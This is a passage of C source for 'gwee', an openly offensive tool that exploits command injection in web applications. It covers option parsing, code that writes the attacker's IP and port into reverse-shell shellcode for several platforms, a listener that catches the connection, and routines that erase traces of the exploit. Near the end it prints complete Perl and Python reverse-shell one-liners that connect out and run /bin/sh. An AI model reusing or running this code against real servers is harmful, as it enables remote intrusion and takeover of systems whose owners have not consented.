2344                 if (cnt <= 0) {
2345                     close(STDIN_FILENO);
2346                     break;
2347                 } else {
2348                     send(clisd, buf, cnt, 0);
2349                 }
2350             }
2351         } /* end while loop */
2352     } /* end new frame */
2353 
2354 
2355 #else
2356 
2357     /* unix readwrite code */
2358     while(1) {
2359         fd_set fds;
2360 
2361         FD_ZERO(&fds);
2362         FD_SET(STDIN_FILENO, &fds);
2363         FD_SET(clisd, &fds);
2364 
2365         if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) > 0) {
2366             int cnt;
2367             if (FD_ISSET(STDIN_FILENO, &fds)) {
2368                 if ((cnt = read(STDIN_FILENO, buf, sizeof(buf))) < 1) {
2369                     if (cnt && (errno == EWOULDBLOCK || errno == EAGAIN))
2370                         continue;
2371                     else
2372                         break;
2373                 }
2374                 send(clisd, buf, cnt, 0);
2375             }
2376 
2377             if (FD_ISSET(clisd, &fds)) {
2378                 if ((cnt = recv(clisd, buf, sizeof(buf), 0)) < 1) {
2379                     if (errno == EWOULDBLOCK || errno == EAGAIN)
2380                         continue;
2381                     else
2382                         break;
2383                 }
2384                 write(STDOUT_FILENO, buf, cnt);
2385             }
2386         }
2387     }
2388 #endif
2389 
2390     #ifdef WIN32
2391         closesocket(clisd);
2392     #else
2393         close(clisd);
2394     #endif
2395     return;
2396 }
2397 
2398 
2399 #ifdef WIN32
2400 /*** thread function for -L under Windoze ***/
2401 
2402 static int thread_lock = 0;
2403 
2404 static VOID pongthread(LPVOID Parameter) {
2405     /* child */
2406     pongsilent = 1;
2407     pong();
2408     if (dowipeout)
2409         wipeout();
2410     thread_lock = 0;
2411     ExitThread(0);
2412 }
2413 #endif
2414 
2415 /*** main() **********************************************************/
2416 
2417 int main(int argc, char **argv) {
2418     #ifndef WIN32
2419     pid_t pid;
2420     #endif
2421 
2422     while ((i = getopt(argc, argv, "hVy:z:GHl:p:b:s:i:I:T:a:vqLAt:fw:d:Pr")) != -1) {
2423         switch(i) {
2424             case 'h':
2425                 usage();
2426             case 'V':
2427                 print_banner_without_colors();
2428                 exit(1);
2429             case 'y':
2430                 y_opt = (char *)strdup(optarg);
2431                 break;
2432             case 'z':
2433                 z_opt = (char *)strdup(optarg);
2434                 break;
2435             case 'G':
2436                 httpget = 1;
2437                 httpmethod = httpmethod_get;
2438                 break;
2439             case 'H':
2440                 httpget = 1;
2441                 httpmethod = httpmethod_head;
2442                 break;
2443             case 'l':
2444                 listen_server = (char *)strdup(optarg);
2445                 break;
2446             case 'p':
2447                 lport = (unsigned int)atoi(optarg);
2448                 break;
2449             case 'b':
2450                 sourceport = (unsigned int)atoi(optarg);
2451                 break;
2452             case 's':
2453                 shellcode = (unsigned int)atoi(optarg);
2454                 break;
2455             case 'i':
2456                 injection_method = (unsigned int)atoi(optarg);
2457                 break;
2458             case 'I':
2459                 imprefix = (char *)strdup(optarg);
2460                 break;
2461             case 'T':
2462                 TMPFILE = (char *)strdup(optarg);
2463                 break;
2464             case 'a':
2465                 user_agent = (char *)strdup(optarg);
2466                 break;
2467             case 'v':
2468                 verbose = 1;
2469                 break;
2470             case 'q':
2471                 silent = 1;
2472                 break;
2473             case 'L':
2474                 builtin_listener = 1;
2475                 break;
2476             case 'A':
2477                 only_listen = 1;
2478                 timeout = 0;
2479                 break;
2480             case 't':
2481                 timeout = (unsigned int)atoi(optarg);
2482                 break;
2483             case 'f':
2484                 force = 1;
2485                 break;
2486             case 'w':
2487                 wgeturl = (char *)strdup(optarg);
2488                 break;
2489             case 'd':
2490                 dumpout = (char *)strdup(optarg);
2491                 break;
2492             case 'P':
2493                 dowipeout = 0;
2494                 break;
2495             case 'r':
2496                 remove_sploit = 1;
2497                 break;
2498             default:
2499                 printf("type \"gwee -h\" for help.\n");
2500                 return 1;
2501         }
2502     }
2503 
2504     if (only_listen) {
2505         #ifdef WIN32
2506             /* initialize winsock first */
2507             init_winsock();
2508         #endif
2509         listener();
2510         #ifdef WIN32
2511             WSACleanup();
2512         #endif
2513         return 0;
2514     }
2515 
2516 
2517     if (optind < argc) {
2518         url = (char *)strdup(argv[optind]);
2519     }
2520 
2521     /* check usage */
2522     if (!dumpout) { /* if the -d option was used, no need to specify a target url */
2523         if (!url) {
2524             printf("type \"gwee -h\" for help.\n");
2525             return 1;
2526         } else if (url[0] == 0) {
2527             printf("type \"gwee -h\" for help.\n");
2528             return 1;
2529         }
2530     }
2531 
2532     /* print banner */
2533     if (!silent) {
2534         print_banner();
2535     }
2536 
2537     if (dumpout && wgeturl) {
2538         fprintf(stderr, "[?] you can't use both -d and -w\n");
2539         return 1;
2540     }
2541 
2542     if (dumpout) {
2543         if (dumpout[0] == 0) {
2544             fprintf(stderr, "[?] output file can't be zero-length\n");
2545             return 1;
2546         }
2547     }
2548 
2549     /* check if the port is OK */
2550     if ((!lport) || (lport > 65535)) {
2551         fprintf(stderr, "[?] %u is an invalid port (must be between 1-65535)\n", lport);
2552         return 1;
2553     }
2554 
2555     /* check if source port is OK, (sourceport can be 0 meaning no source porting is done) */
2556 
2557     if (sourceport > 65535) {
2558         fprintf(stderr, "[?] %u is an invalid source port (must be between 1-65535)\n", sourceport);
2559         return 1;
2560     }
2561 
2562 
2563 
2564     if (!dumpout) {
2565         /* check if -a, and if not, randomize user-agent */
2566         if (!user_agent) {
2567             /* randomize http user-agent string */
2568           #ifdef WIN32
2569             unsigned int fakeRand = time(NULL);
2570             fakeRand += getpid();
2571             srand(fakeRand);
2572           #else
2573             struct timeval tv;
2574 	    if (gettimeofday(&tv, NULL)) {
2575                 fprintf(stderr, "[?] gettimeofday() failed: %s\n", strerror(errno));
2576                 return 1;
2577             }
2578 	    srand((unsigned int)(tv.tv_sec + (tv.tv_usec * 100.0) + (unsigned int)getpid()));
2579           #endif
2580 
2581             i = (unsigned int)((number_of_agents*1.0)*rand()/(RAND_MAX+1.0));
2582             user_agent = agents[i];
2583         }
2584 
2585         /* print info about our victim (errhmm.. target) */
2586         if (!silent)
2587             print_target(url);
2588 
2589         if (!silent) {
2590             /* print info about parsed url */
2591             if (!httpget)
2592                 printf("[i] url: %s\n[i] POST data: %s*SC*%s\n", url, y_opt, z_opt);
2593             else
2594                 printf("[i] url: %s%s*SC*%s\n", url, y_opt, z_opt);
2595         }
2596 
2597         if (verbose && !silent) {
2598             printf("[i] shellcode file on target: %s\n", TMPFILE);
2599 
2600             /* print user-agent string to be used */
2601             printf("[i] user-agent: %s\n", user_agent);
2602         }
2603         if (!silent) {
2604             if (!httpget)
2605                 printf("[i] using POST requests to send data\n");
2606             else
2607                 printf("[i] using %s requests to send data\n", httpmethod);
2608         }
2609     }
2610 
2611     if (!dumpout) {
2612         /* check if we want to remove a previous sploit attempt */
2613         if (remove_sploit) {
2614             #ifdef WIN32
2615                 /* initialize winsock first */
2616                 init_winsock();
2617             #endif
2618 
2619             #ifdef WITH_SSL
2620                 if (!strncasecmp(url, "https://", 8)) {
2621                     if (!silent)
2622                         printf("[i] initializing OpenSSL library\n");
2623 
2624                     SSL_library_init();
2625                     SSL_load_error_strings();
2626                     sslmethod = SSLv23_client_method();
2627 
2628                     if (!(sslctx = SSL_CTX_new(sslmethod))) {
2629                         if (!silent) {
2630                             fprintf(stderr, "[?] SSL_CTX_new() failed!\n");
2631                         }
2632                         #ifdef WIN32
2633                             WSACleanup();
2634                         #endif
2635                         return 1;
2636                     }
2637                 }
2638             #endif
2639 
2640             /* we're on a removing spree... */
2641             wipeout();
2642             #ifdef WIN32
2643                 WSACleanup();
2644             #endif
2645             return 0;
2646         }
2647     }
2648 
2649     if (!wgeturl) {     /* we only set up shellcode_p when not wgetting */
2650         /* set up the shellcode to use */
2651         if (shellcode == SABUSHELL_PERL) {
2652             shellcode_p = sabushell_perl;
2653             if (!silent)
2654                 printf("[i] shellcode: Sabu's reverse Perl shellcode (portable)\n");
2655         } else if (shellcode == LINUX_SISHELL) {
2656             shellcode_p = linux_sishell;
2657             if (!silent)
2658                 printf("[i] shellcode: Shadowinteger's sishell for x86 Linux\n");
2659         } else if (shellcode == FREEBSD_SISHELL) {
2660             shellcode_p = freebsd_sishell;
2661             if (!silent)
2662                 printf("[i] shellcode: Shadowinteger's sishell for x86 FreeBSD\n");
2663         } else if (shellcode == NETBSD_SISHELL) {
2664             shellcode_p = netbsd_sishell;
2665             if (!silent)
2666                 printf("[i] shellcode: Shadowinteger's sishell for x86 NetBSD\n");
2667         } else {
2668             shellcode_p = sabushell_python;
2669             if (!silent)
2670                 printf("[i] shellcode: Sabu's reverse Python shellcode (portable)\n");
2671         }
2672     } else {
2673         if (!silent)
2674             printf("[i] shellcode from url: %s\n", wgeturl);
2675     }
2676 
2677 
2678     if (!dumpout) {
2679         if (!wgeturl) {
2680             /* print the injection method to use */
2681             if (injection_method == IM_PERL) {
2682                 if (!silent)
2683                     printf("[i] injection method: perl -e\n");
2684             } else if (injection_method == IM_PYTHON) {
2685                 if (!silent)
2686                     printf("[i] injection method: python -c\n");
2687             } else if (injection_method == IM_PRINTF) {
2688                 if (!silent)
2689                     printf("[i] injection method: printf\n");
2690             } else {
2691                 if (!silent)
2692                     printf("[i] injection method: echo -ne\n");
2693             }
2694         } else {
2695             if (!silent)
2696                 printf("[i] injection method: wget\n");
2697         }
2698     }
2699 
2700     #ifdef WIN32
2701         /* now it's time initialize winsock */
2702         if (!silent)
2703             printf("[+] initializing socket library\n");
2704         init_winsock();
2705     #endif
2706 
2707     if (!wgeturl) {
2708         if (listen_server) {
2709             /* attacker has provided the -l option */
2710 
2711             if (inet_addr(listen_server) != INADDR_NONE) {
2712                 if (!silent)
2713                     printf("[+] resolving %s into an ip address\n", listen_server);
2714             }
2715             if ((he = gethostbyname(listen_server)) == NULL) {
2716                 fprintf(stderr, "[?] %s: %s\n", listen_server,
2717                 #ifdef WIN32
2718                 WSAstrerror(WSAGetLastError())
2719                 #else
2720                 hstrerror(h_errno)
2721                 #endif
2722                 );
2723                 #ifdef WIN32
2724                     WSACleanup();
2725                 #endif
2726                 return 1;
2727             }
2728         } else {
2729             /* attacker didn't provide the -l option, use local hostname instead */
2730             if (gethostname(buf, sizeof(buf))) {
2731                 fprintf(stderr, "[?] gethostname(): %s\n",
2732                 #ifdef WIN32
2733                 WSAstrerror(WSAGetLastError())
2734                 #else
2735                 strerror(errno)
2736                 #endif
2737                 );
2738                 #ifdef WIN32
2739                     WSACleanup();
2740                 #endif
2741                 return 1;
2742             }
2743             if ((he = gethostbyname(buf)) == NULL) {
2744                 fprintf(stderr, "[?] %s: %s\n", buf,
2745                 #ifdef WIN32
2746                 WSAstrerror(WSAGetLastError())
2747                 #else
2748                 hstrerror(h_errno)
2749                 #endif
2750                 );
2751                 #ifdef WIN32
2752                     WSACleanup();
2753                 #endif
2754                 return 1;
2755             }
2756             if (!silent) {
2757                 printf("[i] using %s (%s) as listen server,\n"
2758                        "[i] override with -l <hostname>\n",
2759                        he->h_name, inet_ntoa(*((struct in_addr*)he->h_addr_list[0])));
2760             }
2761         }
2762 
2763         if (he->h_length != 4) {
2764             fprintf(stderr, "[?] h_length is not 4, it's %u, i only understand ipv4 addresses\n", (unsigned int)he->h_length);
2765             #ifdef WIN32
2766                 WSACleanup();
2767             #endif
2768             return 1;
2769         }
2770         binary_ip = ((uint32_t *)he->h_addr_list[0])[0];
2771         xored_ip = ((uint32_t *)he->h_addr_list[0])[0] ^ XOR;
2772 
2773         /* save ip in ascii dot notation form */
2774         snprintf(ascii_ip, sizeof(ascii_ip), "%u.%u.%u.%u",
2775             ((uint8_t *)&binary_ip)[0] & 0xff,
2776             ((uint8_t *)&binary_ip)[1] & 0xff,
2777             ((uint8_t *)&binary_ip)[2] & 0xff,
2778             ((uint8_t *)&binary_ip)[3] & 0xff);
2779 
2780         if (!silent)
2781             printf("[i] shellcode will connect to %s on port %u\n", ascii_ip, lport);
2782 
2783         /*
2784          * start: conversion of IP into ascii-encoded hex
2785          */
2786 
2787         /***************************/
2788         /* convert binary coded ip into ascii hex and inject it into sishell */
2789         /***************************/
2790 
2791         /* use sprintf() to convert ip to hex */
2792         sprintf(buf, "\\x%02x\\x%02x\\x%02x\\x%02x",
2793             ((uint8_t *)&xored_ip)[0],
2794             ((uint8_t *)&xored_ip)[1],
2795             ((uint8_t *)&xored_ip)[2],
2796             ((uint8_t *)&xored_ip)[3]);
2797         memcpy((void *)&linux_sishell[linux_IP_OFFSET], buf, strlen(buf));
2798         memcpy((void *)&freebsd_sishell[freebsd_IP_OFFSET], buf, strlen(buf));
2799         memcpy((void *)&netbsd_sishell[netbsd_IP_OFFSET], buf, strlen(buf));
2800 
2801         /* use sprintf() to convert port to hex */
2802         sprintf(buf, "\\x%02x\\x%02x",
2803             ((uint8_t *)&lport)[1],     /* assume host sys is little-endian */
2804             ((uint8_t *)&lport)[0]);
2805         memcpy((void *)&linux_sishell[linux_PORT_OFFSET], buf, strlen(buf));
2806         memcpy((void *)&freebsd_sishell[freebsd_PORT_OFFSET], buf, strlen(buf));
2807         memcpy((void *)&netbsd_sishell[netbsd_PORT_OFFSET], buf, strlen(buf));
2808 
2809         /***************************/
2810         /* start encoding ip+port for Sabu's Perl shellcode */
2811         /***************************/
2812 
2813         /* start with ip address */
2814         snprintf(buf2, sizeof(buf2), "\"%s\"", ascii_ip);
2815 
2816         /* calculate how many spaces we shall pad with */
2817         i = sabushell_perl_ipbuf_len - strlen(buf2);
2818         memset(&buf2[strlen(buf2)], 0x20, i);
2819 
2820         /* convert buf2 into hex and inject it into sabushell */
2821         for (i = 0; i < sabushell_perl_ipbuf_len; i++) {
2822             sprintf(&buf[i*4], "\\x%02x", buf2[i]);
2823         }
2824         /* parse string into sabushell */
2825         memcpy(&sabushell_perl[sabushell_perl_ip_offset], buf, sabushell_perl_ipbuf_len*4);
2826 
2827         /* now do port number */
2828         snprintf(buf2, sizeof(buf2), "%u", lport);
2829         i = sabushell_perl_portbuf_len - strlen(buf2);
2830         memset(&buf2[strlen(buf2)], 0x20, i);
2831         for (i = 0; i < sabushell_perl_portbuf_len; i++) {
2832             sprintf(&buf[i*4], "\\x%02x", buf2[i]);
2833         }
2834         memcpy(&sabushell_perl[sabushell_perl_port_offset], buf, sabushell_perl_portbuf_len*4);
2835 
2836         /***************************/
2837         /* start encoding ip+port for Sabu's Python shellcode */
2838         /***************************/
2839 
2840         /* produce ascii string for sabushell */
2841         snprintf(buf2, sizeof(buf2),
2842             "'%s',%u", ascii_ip, lport);
2843         /* calculate how many spaces we shall pad with */
2844         i = sabushell_python_ipbuf_len - strlen(buf2);
2845         /* pad with spaces */
2846         memset(&buf2[strlen(buf2)], 0x20, i);
2847 
2848         /* convert buf2 into hex and inject it into sabushell */
2849 
2850         for (i = 0; i < sabushell_python_ipbuf_len; i++) {
2851             sprintf(&buf[i*4], "\\x%02x", buf2[i]);
2852         }
2853         /* parse string into sabushell */
2854         memcpy(&sabushell_python[sabushell_python_ip_offset], buf, sabushell_python_ipbuf_len*4);
2855 
2856         snprintf(buf, sizeof(buf),
2857             "perl -e \"print \\\"%s\\\"\"", sabushell_python);
2858 
2859         /******* encoding of ip+port is done *********/
2860 
2861     /* end of non-wgeturl */
2862     }
2863 
2864     if (!dumpout && builtin_listener && !silent)
2865         printf("[i] will listen for incoming connection on port %u\n", lport);
2866 
2867     if (dumpout && !wgeturl && !silent)
2868         printf("[i] dumping shellcode to file %s\n", dumpout);
2869 
2870     if (sourceport && (!dumpout)) {
2871         if (!silent)
2872             printf("[i] http connections will land on target from source port %u\n", sourceport);
2873     }
2874 
2875     #ifdef WITH_SSL
2876         if (!dumpout) {
2877             if (!strncasecmp(url, "https://", 8)) {
2878                 if (!silent)
2879                     printf("[i] initializing OpenSSL library\n");
2880 
2881                 SSL_library_init();
2882                 SSL_load_error_strings();
2883                 sslmethod = SSLv23_client_method();
2884 
2885                 if (!(sslctx = SSL_CTX_new(sslmethod))) {
2886                     if (!silent) {
2887                         fprintf(stderr, "[?] SSL_CTX_new() failed!\n");
2888                     }
2889                     #ifdef WIN32
2890                         WSACleanup();
2891                     #endif
2892                     return 1;
2893                 }
2894             }
2895         }
2896     #endif
2897 
2898     #if ! defined WITHOUT_HINT
2899         if ((!silent) && (!dumpout)) {
2900             printf("[i] **hint** if you get a shell, try rrs -> http://www.cycom.se/dl/rrs\n");
2901         }
2902     #endif
2903 
2904 
2905     if ((!force) && (!silent)) {
2906         printf("[i] press return to continue... (disable this prompt with -f)");
2907         i = getc(stdin);
2908     }
2909 
2910     /* if we want to generate shellcode, do it */
2911     if (dumpout && !wgeturl) {      /* generate shellcode */
2912         FILE *filep;
2913         if (!(filep = fopen(dumpout, "w"))) {
2914             fprintf(stderr, "[?] error creating/truncating file %s: %s\n", dumpout, strerror(errno));
2915             #ifdef WIN32
2916                 WSACleanup();
2917             #endif
2918             return 1;
2919         }
2920         if (!decodehex(shellcode_p, filep)) {
2921             fprintf(stderr, "[?] error trying to dump shellcode\n");
2922             #ifdef WIN32
2923                 WSACleanup();
2924             #endif
2925             return 1;
2926         }
2927         if (fclose(filep)) {
2928             fprintf(stderr, "[?] error closing file %s: %s\n", dumpout, strerror(errno));
2929             #ifdef WIN32
2930                 WSACleanup();
2931             #endif
2932             return 1;
2933         }
2934 
2935         if (!silent)
2936             printf("[i] saved shellcode in %s\n", dumpout);
2937 
2938         #ifdef WIN32
2939             WSACleanup();
2940         #endif
2941         return 0;
2942     }
2943 
2944     /*** the moment is here... sploit it... ***/
2945     ping();
2946 
2947     fflush(stdout);
2948     fflush(stderr);
2949 
2950     if (!builtin_listener) {
2951         /* we don't fork and listen for an incoming connection */
2952         pong();
2953         if (dowipeout)
2954             wipeout();
2955     } else {
2956         #ifdef WIN32
2957             /* we create a thread and listen for incoming */
2958             DWORD ThreadId;
2959             HANDLE h;
2960 
2961             thread_lock = 1;
2962 
2963             h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) pongthread,
2964                 NULL, 0, &ThreadId);
2965 
2966             /* call listener() to bind, listen and accept incoming connection */
2967             listener();
2968 
2969             if (verbose && !silent)
2970                 printf("[i] waiting for child thread to terminate...\n");
2971 
2972             if (h) {
2973                 CloseHandle(h);
2974                 while (thread_lock == 1) {
2975                     Sleep(50);
2976                     continue;
2977                 }
2978             }
2979 
2980         #else
2981             /* we fork and listen for incoming */
2982             pid = fork();
2983             if (pid < 0) {
2984                 fprintf(stderr, "[?] fork(): %s\n", strerror(errno));
2985                 return 1;
2986             } else if (pid) {
2987                 /* parent */
2988 
2989                 /* install signal handler for SIGCHLD (to resolve [<defunct>] child process) */
2990                 signal(SIGCHLD, signalhandler);
2991 
2992                 /* call listener() to bind, listen and accept incoming connection */
2993                 listener();
2994                 if (verbose && !silent)
2995                     printf("[i] waiting for child process to terminate...\n");
2996                 wait(0);
2997                 exit(0);
2998             } else {
2999                 /* child */
3000                 silent = 1;
3001                 /* close all descriptors in this thread, we won't need them */
3002                 fclose(stdin);
3003                 fclose(stdout);
3004                 fclose(stderr);
3005                 pong();
3006                 if (dowipeout)
3007                     wipeout();
3008                 exit(0);
3009             }
3010         #endif
3011     }
3012 
3013     #ifdef WIN32
3014         WSACleanup();
3015     #endif
3016     return 0;
3017 }
3018 
3019 /******************************************************************************
3020                           Source code to shellcode
3021 ******************************************************************************/
3022 
3023 
3024 /******************************************************************************
3025  * Sabu's <sabu@sentinix.org> reverse (connecting) Perl shellcode:
3026  *
3027 
3028 #!/usr/bin/perl
3029 use Socket; use IO::Handle; use POSIX; $proto = getprotobyname('tcp'); socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto); $sin = sockaddr_in(7700 ,inet_aton("127.0.0.1"      )); connect(Socket_Handle,$sin); dup2(Socket_Handle->fileno, 0); dup2(Socket_Handle->fileno, 1); dup2(Socket_Handle->fileno, 2); exec { "/bin/sh" } "";
3030 
3031 */
3032 
3033 /******************************************************************************
3034  * Sabu's <sabu@mad.scientist.com> reverse (connecting) Python shellcode:
3035 
3036 #!/usr/bin/env python
3037 s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(('127.0.0.1',7700       ));__import__('os').dup2(s.fileno(),0);__import__('os').dup2(s.fileno(),1);__import__('os').dup2(s.fileno(),2);__import__('os').execl('/bin/sh','')
3038 
3039 */
3040 
3041 /******************************************************************************
3042  * Shadowinteger's sishell is distributed separately
3043  * http://cycom.se/dl/sishell
3044  */
3045 
3046 /******************************************************************************
3047                               that's it folks
3048                               //Shadowinteger
3049 ******************************************************************************/
3050 
3051